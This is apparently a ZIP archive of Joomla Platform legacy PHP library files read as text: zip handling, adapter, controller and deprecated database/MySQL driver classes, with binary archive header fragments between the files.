* @throws RuntimeException
*/
protected function extractNative($archive, $destination)
{
$zip = new \ZipArchive;
if ($zip->open($archive) !== true)
{
return $this->raiseWarning(100, 'Unable to open archive');
}
// Make sure the destination folder exists
if (!JFolder::create($destination))
{
return $this->raiseWarning(100, 'Unable to create
destination');
}
// Read files in the archive
for ($index = 0; $index < $zip->numFiles; $index++)
{
$file = $zip->getNameIndex($index);
if (substr($file, -1) === '/')
{
continue;
}
$buffer = $zip->getFromIndex($index);
if ($buffer === false)
{
return $this->raiseWarning(100, 'Unable to read entry');
}
if (JFile::write($destination . '/' . $file, $buffer) ===
false)
{
return $this->raiseWarning(100, 'Unable to write entry');
}
}
$zip->close();
return true;
}
/**
* Get the list of files/data from a ZIP archive buffer.
*
* <pre>
* KEY: Position in zipfile
* VALUES: 'attr' -- File attributes
* 'crc' -- CRC checksum
* 'csize' -- Compressed file size
* 'date' -- File modification time
* 'name' -- Filename
* 'method'-- Compression method
* 'size' -- Original file size
* 'type' -- File type
* </pre>
*
* @param string &$data The ZIP archive buffer.
*
* @return boolean True on success
*
* @since 2.5.0
* @throws RuntimeException
*/
private function _readZipInfo(&$data)
{
$entries = array();
// Find the last central directory header entry
$fhLast = strpos($data, $this->_ctrlDirEnd);
do
{
$last = $fhLast;
}
while (($fhLast = strpos($data, $this->_ctrlDirEnd, $fhLast + 1)) !==
false);
// Find the central directory offset
$offset = 0;
if ($last)
{
$endOfCentralDirectory = unpack(
'vNumberOfDisk/vNoOfDiskWithStartOfCentralDirectory/vNoOfCentralDirectoryEntriesOnDisk/'
.
'vTotalCentralDirectoryEntries/VSizeOfCentralDirectory/VCentralDirectoryOffset/vCommentLength',
substr($data, $last + 4)
);
$offset = $endOfCentralDirectory['CentralDirectoryOffset'];
}
// Get details from central directory structure.
$fhStart = strpos($data, $this->_ctrlDirHeader, $offset);
$dataLength = strlen($data);
do
{
if ($dataLength < $fhStart + 31)
{
return $this->raiseWarning(100, 'Invalid Zip Data');
}
$info =
unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength',
substr($data, $fhStart + 10, 20));
$name = substr($data, $fhStart + 46, $info['Length']);
$entries[$name] = array(
'attr' => null,
'crc' => sprintf('%08s',
dechex($info['CRC32'])),
'csize' => $info['Compressed'],
'date' => null,
'_dataStart' => null,
'name' => $name,
'method' => $this->_methods[$info['Method']],
'_method' => $info['Method'],
'size' => $info['Uncompressed'],
'type' => null,
);
$entries[$name]['date'] = mktime(
(($info['Time'] >> 11) & 0x1f),
(($info['Time'] >> 5) & 0x3f),
(($info['Time'] << 1) & 0x3e),
(($info['Time'] >> 21) & 0x07),
(($info['Time'] >> 16) & 0x1f),
((($info['Time'] >> 25) & 0x7f) + 1980)
);
if ($dataLength < $fhStart + 43)
{
return $this->raiseWarning(100, 'Invalid ZIP data');
}
$info = unpack('vInternal/VExternal/VOffset', substr($data,
$fhStart + 36, 10));
$entries[$name]['type'] = ($info['Internal'] &
0x01) ? 'text' : 'binary';
$entries[$name]['attr'] = (($info['External'] &
0x10) ? 'D' : '-') . (($info['External']
& 0x20) ? 'A' : '-')
. (($info['External'] & 0x03) ? 'S' :
'-') . (($info['External'] & 0x02) ? 'H'
: '-') . (($info['External'] & 0x01) ?
'R' : '-');
$entries[$name]['offset'] = $info['Offset'];
// Get details from local file header since we have the offset
$lfhStart = strpos($data, $this->_fileHeader,
$entries[$name]['offset']);
if ($dataLength < $lfhStart + 34)
{
return $this->raiseWarning(100, 'Invalid Zip Data');
}
$info =
unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength/vExtraLength',
substr($data, $lfhStart + 8, 25));
$name = substr($data, $lfhStart + 30, $info['Length']);
$entries[$name]['_dataStart'] = $lfhStart + 30 +
$info['Length'] + $info['ExtraLength'];
// Bump the max execution time because not using the built in php zip
libs makes this process slow.
@set_time_limit(ini_get('max_execution_time'));
}
while ((($fhStart = strpos($data, $this->_ctrlDirHeader, $fhStart +
46)) !== false));
$this->_metadata = array_values($entries);
return true;
}
/**
* Returns the file data for a file by offset in the ZIP archive
*
* @param integer $key The position of the file in the archive.
*
* @return string Uncompressed file data buffer.
*
* @since 1.5
*/
private function _getFileData($key)
{
$method = $this->_metadata[$key]['_method'];
if ($method == 0x12 && !extension_loaded('bz2'))
{
return '';
}
switch ($method)
{
case 0x8:
return gzinflate(substr($this->_data,
$this->_metadata[$key]['_dataStart'],
$this->_metadata[$key]['csize']));
case 0x0:
// Files that aren't compressed.
return substr($this->_data,
$this->_metadata[$key]['_dataStart'],
$this->_metadata[$key]['csize']);
case 0x12:
return bzdecompress(substr($this->_data,
$this->_metadata[$key]['_dataStart'],
$this->_metadata[$key]['csize']));
}
return '';
}
/**
* Converts a UNIX timestamp to a 4-byte DOS date and time format
* (date in high 2-bytes, time in low 2-bytes allowing magnitude
* comparison).
*
* @param int $unixtime The current UNIX timestamp.
*
* @return int The current date in a 4-byte DOS format.
*
* @since 1.5
*/
protected function _unix2DOSTime($unixtime = null)
{
$timearray = (is_null($unixtime)) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980)
{
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) |
($timearray['mon'] << 21) | ($timearray['mday']
<< 16) | ($timearray['hours'] << 11) |
($timearray['minutes'] << 5) |
($timearray['seconds'] >> 1);
}
/**
* Adds a "file" to the ZIP archive.
*
* @param array &$file File data array to add
* @param array &$contents An array of existing zipped files.
* @param array &$ctrldir An array of central directory
information.
*
* @return void
*
* @since 1.5
*
* @todo Review and finish implementation
*/
private function _addToZIPFile(array &$file, array &$contents,
array &$ctrldir)
{
$data = &$file['data'];
$name = str_replace('\\', '/',
$file['name']);
/* See if time/date information has been provided. */
$ftime = null;
if (isset($file['time']))
{
$ftime = $file['time'];
}
// Get the hex time.
$dtime = dechex($this->_unix2DosTime($ftime));
$hexdtime = chr(hexdec($dtime[6] . $dtime[7])) . chr(hexdec($dtime[4] .
$dtime[5])) . chr(hexdec($dtime[2] . $dtime[3]))
. chr(hexdec($dtime[0] . $dtime[1]));
/* Begin creating the ZIP data. */
$fr = $this->_fileHeader;
/* Version needed to extract. */
$fr .= "\x14\x00";
/* General purpose bit flag. */
$fr .= "\x00\x00";
/* Compression method. */
$fr .= "\x08\x00";
/* Last modification time/date. */
$fr .= $hexdtime;
/* "Local file header" segment. */
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$c_len = strlen($zdata);
/* CRC 32 information. */
$fr .= pack('V', $crc);
/* Compressed filesize. */
$fr .= pack('V', $c_len);
/* Uncompressed filesize. */
$fr .= pack('V', $unc_len);
/* Length of filename. */
$fr .= pack('v', strlen($name));
/* Extra field length. */
$fr .= pack('v', 0);
/* File name. */
$fr .= $name;
/* "File data" segment. */
$fr .= $zdata;
/* Add this entry to array. */
$old_offset = strlen(implode('', $contents));
$contents[] = &$fr;
/* Add to central directory record. */
$cdrec = $this->_ctrlDirHeader;
/* Version made by. */
$cdrec .= "\x00\x00";
/* Version needed to extract */
$cdrec .= "\x14\x00";
/* General purpose bit flag */
$cdrec .= "\x00\x00";
/* Compression method */
$cdrec .= "\x08\x00";
/* Last mod time/date. */
$cdrec .= $hexdtime;
/* CRC 32 information. */
$cdrec .= pack('V', $crc);
/* Compressed filesize. */
$cdrec .= pack('V', $c_len);
/* Uncompressed filesize. */
$cdrec .= pack('V', $unc_len);
/* Length of filename. */
$cdrec .= pack('v', strlen($name));
/* Extra field length. */
$cdrec .= pack('v', 0);
/* File comment length. */
$cdrec .= pack('v', 0);
/* Disk number start. */
$cdrec .= pack('v', 0);
/* Internal file attributes. */
$cdrec .= pack('v', 0);
/* External file attributes -'archive' bit set. */
$cdrec .= pack('V', 32);
/* Relative offset of local header. */
$cdrec .= pack('V', $old_offset);
/* File name. */
$cdrec .= $name;
/* Optional extra field, file comment goes here. */
/* Save to central directory array. */
$ctrldir[] = &$cdrec;
}
/**
* Creates the ZIP file.
*
* Official ZIP file format:
https://support.pkware.com/display/PKZIP/APPNOTE
*
* @param array &$contents An array of existing zipped files.
* @param array &$ctrlDir An array of central directory
information.
* @param string $path The path to store the archive.
*
* @return boolean True if successful
*
* @since 1.5
*
* @todo Review and finish implementation
*/
private function _createZIPFile(array &$contents, array &$ctrlDir,
$path)
{
$data = implode('', $contents);
$dir = implode('', $ctrlDir);
$buffer = $data . $dir . $this->_ctrlDirEnd . /* Total # of entries
"on this disk". */
pack('v', count($ctrlDir)) . /* Total # of entries overall. */
pack('v', count($ctrlDir)) . /* Size of central directory. */
pack('V', strlen($dir)) . /* Offset to start of central dir. */
pack('V', strlen($data)) . /* ZIP file comment length. */
"\x00\x00";
if (JFile::write($path, $buffer) === false)
{
return false;
}
return true;
}
}
PKGn�[\#?ō�base/adapter.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Base
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Adapter Class
* Retains common adapter pattern functions
* Class harvested from joomla.installer.installer
*
* @since 1.6
* @deprecated 5.0 Will be removed without replacement
*/
class JAdapter extends JObject
{
/**
* Associative array of adapters
*
* @var JAdapterInstance[]
* @since 1.6
*/
protected $_adapters = array();
/**
* Adapter Folder
*
* @var string
* @since 1.6
*/
protected $_adapterfolder = 'adapters';
/**
* Adapter Class Prefix
*
* @var string
* @since 1.6
*/
protected $_classprefix = 'J';
/**
* Base Path for the adapter instance
*
* @var string
* @since 1.6
*/
protected $_basepath = null;
/**
* Database Connector Object
*
* @var JDatabaseDriver
* @since 1.6
*/
protected $_db;
/**
* Constructor
*
* @param string $basepath Base Path of the adapters
* @param string $classprefix Class prefix of adapters
* @param string $adapterfolder Name of folder to append to base path
*
* @since 1.6
*/
public function __construct($basepath, $classprefix = null, $adapterfolder
= null)
{
$this->_basepath = $basepath;
$this->_classprefix = $classprefix ? $classprefix : 'J';
$this->_adapterfolder = $adapterfolder ? $adapterfolder :
'adapters';
$this->_db = JFactory::getDbo();
}
/**
* Get the database connector object
*
* @return JDatabaseDriver Database connector object
*
* @since 1.6
*/
public function getDbo()
{
return $this->_db;
}
/**
* Return an adapter.
*
* @param string $name Name of adapter to return
* @param array $options Adapter options
*
* @return JAdapterInstance|boolean Adapter of type 'name' or
false
*
* @since 1.6
*/
public function getAdapter($name, $options = array())
{
if (array_key_exists($name, $this->_adapters))
{
return $this->_adapters[$name];
}
if ($this->setAdapter($name, $options))
{
return $this->_adapters[$name];
}
return false;
}
/**
* Set an adapter by name
*
* @param string $name Adapter name
* @param object &$adapter Adapter object
* @param array $options Adapter options
*
* @return boolean True if successful
*
* @since 1.6
*/
public function setAdapter($name, &$adapter = null, $options =
array())
{
if (is_object($adapter))
{
$this->_adapters[$name] = &$adapter;
return true;
}
$class = rtrim($this->_classprefix, '\\') . '\\' .
ucfirst($name);
if (class_exists($class))
{
$this->_adapters[$name] = new $class($this, $this->_db, $options);
return true;
}
$class = rtrim($this->_classprefix, '\\') . '\\' .
ucfirst($name) . 'Adapter';
if (class_exists($class))
{
$this->_adapters[$name] = new $class($this, $this->_db, $options);
return true;
}
$fullpath = $this->_basepath . '/' .
$this->_adapterfolder . '/' . strtolower($name) .
'.php';
if (!file_exists($fullpath))
{
return false;
}
// Try to load the adapter object
$class = $this->_classprefix . ucfirst($name);
JLoader::register($class, $fullpath);
if (!class_exists($class))
{
return false;
}
$this->_adapters[$name] = new $class($this, $this->_db, $options);
return true;
}
/**
* Loads all adapters.
*
* @param array $options Adapter options
*
* @return void
*
* @since 1.6
*/
public function loadAllAdapters($options = array())
{
$files = new DirectoryIterator($this->_basepath . '/' .
$this->_adapterfolder);
/* @type $file DirectoryIterator */
foreach ($files as $file)
{
$fileName = $file->getFilename();
// Only load for php files.
if (!$file->isFile() || $file->getExtension() != 'php')
{
continue;
}
// Try to load the adapter object
require_once $this->_basepath . '/' .
$this->_adapterfolder . '/' . $fileName;
// Derive the class name from the filename.
$name = str_ireplace('.php', '',
ucfirst(trim($fileName)));
$class = $this->_classprefix . ucfirst($name);
if (!class_exists($class))
{
// Skip to next one
continue;
}
$adapter = new $class($this, $this->_db, $options);
$this->_adapters[$name] = clone $adapter;
}
}
}
PKGn�[���"llbase/adapterinstance.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Base
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Adapter Instance Class
*
* @since 1.6
* @deprecated 5.0 Will be removed without replacement
*/
class JAdapterInstance extends JObject
{
/**
* Parent
*
* @var JAdapter
* @since 1.6
*/
protected $parent = null;
/**
* Database
*
* @var JDatabaseDriver
* @since 1.6
*/
protected $db = null;
/**
* Constructor
*
* @param JAdapter $parent Parent object
* @param JDatabaseDriver $db Database object
* @param array $options Configuration Options
*
* @since 1.6
*/
public function __construct(JAdapter $parent, JDatabaseDriver $db, array
$options = array())
{
// Set the properties from the options array that is passed in
$this->setProperties($options);
// Set the parent and db in case $options for some reason overrides it.
$this->parent = $parent;
// Pull in the global dbo in case something happened to it.
$this->db = $db ?: JFactory::getDbo();
}
/**
* Retrieves the parent object
*
* @return JAdapter
*
* @since 1.6
*/
public function getParent()
{
return $this->parent;
}
}
PKHn�[h1*�q
q
controller/base.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Controller
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Application\AbstractApplication;
/**
* Joomla Platform Base Controller Class
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
abstract class JControllerBase implements JController
{
/**
* The application object.
*
* @var AbstractApplication
* @since 3.0.0
*/
protected $app;
/**
* The input object.
*
* @var JInput
* @since 3.0.0
*/
protected $input;
/**
* Instantiate the controller.
*
* @param JInput $input The input object.
* @param AbstractApplication $app The application object.
*
* @since 3.0.0
*/
public function __construct(JInput $input = null, AbstractApplication $app
= null)
{
// Setup dependencies.
$this->app = isset($app) ? $app : $this->loadApplication();
$this->input = isset($input) ? $input : $this->loadInput();
}
/**
* Get the application object.
*
* @return AbstractApplication The application object.
*
* @since 3.0.0
*/
public function getApplication()
{
return $this->app;
}
/**
* Get the input object.
*
* @return JInput The input object.
*
* @since 3.0.0
*/
public function getInput()
{
return $this->input;
}
/**
* Serialize the controller.
*
* @return string The serialized controller.
*
* @since 3.0.0
*/
public function serialize()
{
return serialize($this->input);
}
/**
* Unserialize the controller.
*
* @param string $input The serialized controller.
*
* @return JController Supports chaining.
*
* @since 3.0.0
* @throws UnexpectedValueException if input is not the right class.
*/
public function unserialize($input)
{
// Setup dependencies.
$this->app = $this->loadApplication();
// Unserialize the input.
$this->input = unserialize($input);
if (!($this->input instanceof JInput))
{
throw new UnexpectedValueException(sprintf('%s::unserialize would
not accept a `%s`.', get_class($this), gettype($this->input)));
}
return $this;
}
/**
* Load the application object.
*
* @return AbstractApplication The application object.
*
* @since 3.0.0
*/
protected function loadApplication()
{
return JFactory::getApplication();
}
/**
* Load the input object.
*
* @return JInput The input object.
*
* @since 3.0.0
*/
protected function loadInput()
{
return $this->app->input;
}
}
PKHn�[�A��controller/controller.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Controller
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Application\AbstractApplication;
/**
* Joomla Platform Controller Interface
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
interface JController extends Serializable
{
/**
* Execute the controller.
*
* @return boolean True if controller finished execution, false if the
controller did not
* finish execution. A controller might return false if
some precondition for
* the controller to run has not been satisfied.
*
* @since 3.0.0
* @throws LogicException
* @throws RuntimeException
*/
public function execute();
/**
* Get the application object.
*
* @return AbstractApplication The application object.
*
* @since 3.0.0
*/
public function getApplication();
/**
* Get the input object.
*
* @return JInput The input object.
*
* @since 3.0.0
*/
public function getInput();
}
PKHn�[��database/database.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Database connector class.
*
* @since 1.7.0
* @deprecated 4.0
*/
abstract class JDatabase
{
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 1.7.0
* @throws RuntimeException
* @deprecated 4.0
*/
public function query()
{
JLog::add('JDatabase::query() is deprecated, use
JDatabaseDriver::execute() instead.', JLog::WARNING,
'deprecated');
return $this->execute();
}
/**
* Get a list of available database connectors. The list will only be
populated with connectors that both
* the class exists and the static test method returns true. This gives
us the ability to have a multitude
* of connector classes that are self-aware as to whether or not they are
able to be used on a given system.
*
* @return array An array of available database connectors.
*
* @since 1.7.0
* @deprecated 4.0
*/
public static function getConnectors()
{
JLog::add('JDatabase::getConnectors() is deprecated, use
JDatabaseDriver::getConnectors() instead.', JLog::WARNING,
'deprecated');
return JDatabaseDriver::getConnectors();
}
/**
* Gets the error message from the database connection.
*
* @param boolean $escaped True to escape the message string for use
in JavaScript.
*
* @return string The error message for the most recent query.
*
* @deprecated 4.0
* @since 1.7.0
*/
public function getErrorMsg($escaped = false)
{
JLog::add('JDatabase::getErrorMsg() is deprecated, use exception
handling instead.', JLog::WARNING, 'deprecated');
if ($escaped)
{
return addslashes($this->errorMsg);
}
else
{
return $this->errorMsg;
}
}
/**
* Gets the error number from the database connection.
*
* @return integer The error number for the most recent query.
*
* @since 1.7.0
* @deprecated 4.0
*/
public function getErrorNum()
{
JLog::add('JDatabase::getErrorNum() is deprecated, use exception
handling instead.', JLog::WARNING, 'deprecated');
return $this->errorNum;
}
/**
* Method to return a JDatabaseDriver instance based on the given options.
There are three global options and then
* the rest are specific to the database driver. The 'driver'
option defines which JDatabaseDriver class is
* used for the connection -- the default is 'mysqli'. The
'database' option determines which database is to
* be used for the connection. The 'select' option determines
whether the connector should automatically select
* the chosen database.
*
* Instances are unique to the given options and new objects are only
created when a unique options array is
* passed into the method. This ensures that we don't end up with
unnecessary database connection resources.
*
* @param array $options Parameters to be passed to the database
driver.
*
* @return JDatabaseDriver A database object.
*
* @since 1.7.0
* @deprecated 4.0
*/
public static function getInstance($options = array())
{
JLog::add('JDatabase::getInstance() is deprecated, use
JDatabaseDriver::getInstance() instead.', JLog::WARNING,
'deprecated');
return JDatabaseDriver::getInstance($options);
}
/**
* Splits a string of multiple queries into an array of individual
queries.
*
* @param string $query Input SQL string with which to split into
individual queries.
*
* @return array The queries from the input string separated into an
array.
*
* @since 1.7.0
* @deprecated 4.0
*/
public static function splitSql($query)
{
JLog::add('JDatabase::splitSql() is deprecated, use
JDatabaseDriver::splitSql() instead.', JLog::WARNING,
'deprecated');
return JDatabaseDriver::splitSql($query);
}
/**
* Return the most recent error message for the database connector.
*
* @param boolean $showSQL True to display the SQL statement sent to
the database as well as the error.
*
* @return string The error message for the most recent query.
*
* @since 1.7.0
* @deprecated 4.0
*/
public function stderr($showSQL = false)
{
JLog::add('JDatabase::stderr() is deprecated.', JLog::WARNING,
'deprecated');
if ($this->errorNum != 0)
{
return JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED',
$this->errorNum, $this->errorMsg)
. ($showSQL ? "<br />SQL =
<pre>$this->sql</pre>" : '');
}
else
{
return JText::_('JLIB_DATABASE_FUNCTION_NOERROR');
}
}
/**
* Test to see if the connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
* @deprecated 4.0 - Use JDatabaseDriver::isSupported() instead.
*/
public static function test()
{
JLog::add('JDatabase::test() is deprecated. Use
JDatabaseDriver::isSupported() instead.', JLog::WARNING,
'deprecated');
return static::isSupported();
}
}
PKHn�[�kp0�7�7database/driver/mysql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL database driver
*
* @link https://dev.mysql.com/doc/
* @since 3.0.0
* @deprecated 4.0 Use MySQLi or PDO MySQL instead
*/
class JDatabaseDriverMysql extends JDatabaseDriverMysqli
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'mysql';
/**
* Constructor.
*
* @param array $options Array of database options with keys: host,
user, password, database, select.
*
* @since 3.0.0
*/
public function __construct($options)
{
// PHP's `mysql` extension is not present in PHP 7, block
instantiation in this environment
if (PHP_MAJOR_VERSION >= 7)
{
throw new JDatabaseExceptionUnsupported(
'This driver is unsupported in PHP 7, please use the MySQLi or PDO
MySQL driver instead.'
);
}
// Get some basic values from the options.
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['select'] = (isset($options['select'])) ?
(bool) $options['select'] : true;
// Finalize initialisation.
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Make sure the MySQL extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new JDatabaseExceptionUnsupported('Make sure the MySQL
extension for PHP is installed and enabled.');
}
// Attempt to connect to the server.
if (!($this->connection = @
mysql_connect($this->options['host'],
$this->options['user'],
$this->options['password'], true)))
{
throw new JDatabaseExceptionConnecting('Could not connect to MySQL
server.');
}
// Set sql_mode to non_strict mode
mysql_query("SET @@SESSION.sql_mode = '';",
$this->connection);
// If auto-select is enabled select the given database.
if ($this->options['select'] &&
!empty($this->options['database']))
{
$this->select($this->options['database']);
}
// Pre-populate the UTF-8 Multibyte compatibility flag based on server
version
$this->utf8mb4 = $this->serverClaimsUtf8mb4Support();
// Set the character set (needed for MySQL 4.1.2+).
$this->utf = $this->setUtf();
// Disable query cache and turn profiling ON in debug mode.
if ($this->debug)
{
mysql_query('SET query_cache_type = 0;',
$this->connection);
if ($this->hasProfiling())
{
mysql_query('SET profiling_history_size = 100, profiling =
1;', $this->connection);
}
}
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
// Close the connection.
if (is_resource($this->connection))
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysql_close($this->connection);
}
$this->connection = null;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$this->connect();
$result = mysql_real_escape_string($text, $this->getConnection());
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Test to see if the MySQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return PHP_MAJOR_VERSION < 7 &&
function_exists('mysql_connect');
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 3.0.0
*/
public function connected()
{
if (is_resource($this->connection))
{
return @mysql_ping($this->connection);
}
return false;
}
/**
* Get the number of affected rows by the last INSERT, UPDATE, REPLACE or
DELETE for the previous executed SQL statement.
*
* @return integer The number of affected rows.
*
* @since 3.0.0
*/
public function getAffectedRows()
{
$this->connect();
return mysql_affected_rows($this->connection);
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* This command is only valid for statements like SELECT or SHOW that
return an actual result set.
* To retrieve the number of rows affected by an INSERT, UPDATE, REPLACE
or DELETE query, use getAffectedRows().
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 3.0.0
*/
public function getNumRows($cursor = null)
{
$this->connect();
return mysql_num_rows($cursor ? $cursor : $this->cursor);
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
return mysql_get_server_info($this->connection);
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return integer The value of the auto-increment field from the last
inserted row.
*
* @since 3.0.0
*/
public function insertid()
{
$this->connect();
return mysql_insert_id($this->connection);
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function execute()
{
$this->connect();
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof JDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query .= ' LIMIT ' . $this->offset . ', ' .
$this->limit;
}
if (!is_resource($this->connection))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
JLog::add($query, JLog::DEBUG, 'databasequery');
$this->timings[] = microtime(true);
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @mysql_query($query, $this->connection);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum, $e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
}
return $this->cursor;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
if (!$database)
{
return false;
}
if (!mysql_select_db($database, $this->connection))
{
throw new JDatabaseExceptionConnecting('Could not connect to MySQL
database.');
}
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
// If UTF is not supported return false immediately
if (!$this->utf)
{
return false;
}
// Make sure we're connected to the server
$this->connect();
// Which charset should I use, plain utf8 or multibyte utf8mb4?
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
$result = @mysql_set_charset($charset, $this->connection);
/**
* If I could not set the utf8mb4 charset then the server doesn't
support utf8mb4 despite claiming otherwise.
* This happens on old MySQL server versions (less than 5.5.3) using the
mysqlnd PHP driver. Since mysqlnd
* masks the server version and reports only its own we can not be sure
if the server actually does support
* UTF-8 Multibyte (i.e. it's MySQL 5.5.3 or later). Since the
utf8mb4 charset is undefined in this case we
* catch the error and determine that utf8mb4 is not supported!
*/
if (!$result && $this->utf8mb4)
{
$this->utf8mb4 = false;
$result = @mysql_set_charset('utf8', $this->connection);
}
return $result;
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchArray($cursor = null)
{
return mysql_fetch_row($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchAssoc($cursor = null)
{
return mysql_fetch_assoc($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
return mysql_fetch_object($cursor ? $cursor : $this->cursor, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult($cursor = null)
{
